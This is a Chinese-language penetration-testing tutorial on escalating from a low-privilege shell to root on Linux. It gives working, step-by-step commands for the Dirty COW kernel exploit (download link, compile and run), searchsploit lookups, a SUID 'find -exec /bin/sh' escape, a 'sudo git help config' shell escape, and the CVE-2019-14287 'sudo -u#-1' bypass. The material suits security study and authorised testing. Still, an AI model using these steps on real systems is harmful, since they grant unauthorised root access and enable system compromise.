0x00 前言
滲透測試過程中,拿到低權限shell后,要進一步操作往往需要進行提權。
0x01 常見Linux提權方法
- 內核版本漏洞提權
- SUID提權
- git提權
- sudo提權(CVE-2019-14287)
0x02 Linux提權前的信息收集
1.查看內核版本
uname -a
2.查看發行版本
cat /etc/issue cat /etc/*-release
0x03 內核漏洞提權
1.臟牛漏洞提權
低權限用戶利用該漏洞技術可以在全版本上實現本地提權
漏洞利用條件:內核版本>=2.6.22
exp下載地址:https://github.com/FireFart/dirtycow
本地復現:
1.查看內核版本
2.將exp放到/tmp目錄下(tmp目錄權限較高)
3.對dirty.c進行gcc編譯生成一個可執行文件
gcc -pthread dirty.c -o dirty -lcryp
4.運行dirty文件即可進行本地提取
./dirty passwd
幾分鍾后出現如下結果
此時切換到firefart用戶,密碼為passwd
可以看到已經是root用戶
2.其他內核版本提權
在linux的內核版本不滿足臟牛提權的條件時,就需要查看其他版本的內核漏洞。在搜集了目標機器的內核版本后,可以使用searchsploit搜尋各種發行版本的漏洞。
查詢一個CentOS 7 內核版本為3.10的內核漏洞
searchspolit centos 7 kernel 3.10
隨后需要打開exp查看具體要求,選擇和合適的進行利用
最后將合適的exp放到靶機上編譯后執行
內核漏洞提權對內核版本、目標機器的環境要求較高(需要安裝gcc),所以成功率一般較低。
0x04 SUID提權
SUID(Set User ID):是一種特殊的文件屬性,允許用戶在指令執行時,擁有文件擁有者的權限
SUID提權:運行root用戶擁有的SUID文件,即可獲得root用戶權限
常見的可用於SUID提權的文件有
find、bash、nmap、vim、more、less、nano、cp
一般拿到shell后,首先查找下具有root權限的SUID文件
find / -perm -u=s -type f 2>/dev/null
1.find提權
先看看find的權限
確實是root權限
隨后執行以下命令進行提權
touch test //創建一個test文件 find test -exec '/bin/sh' \;
可以看到成功提升到root權限
0x05 git提權
首先查看可以無密碼使用root權限的命令
sudo -l #查看可以使用root權限無密碼的命令
發現有git命令
執行命令進行提權
sudo git help config #提權 !/bin/sh
成功切換到root權限
0x06 sudo提權(比較雞肋)
sudo提權是一個sudo安全策略繞過問題,可導致惡意用戶或程序在目標Linux系統上以root身份執行任意命令
使用sudo提權需要滿足兩個條件
1.執行sudo -V的到的版本<1.8.28
2.配置文件中需要有特定配置
配置文件/etc/sudoers中使用ALL關鍵詞
test ALL=(ALL,!root) ALL //表示test用戶可以使用sudo命令,以除了root以外的任意身份去執行命令
切換到test用戶下執行命令
sudo -u#-1 id
將用戶ID轉換為用戶名的函數會將-1誤認為0,正好是root用戶的User ID
成功切換到root用戶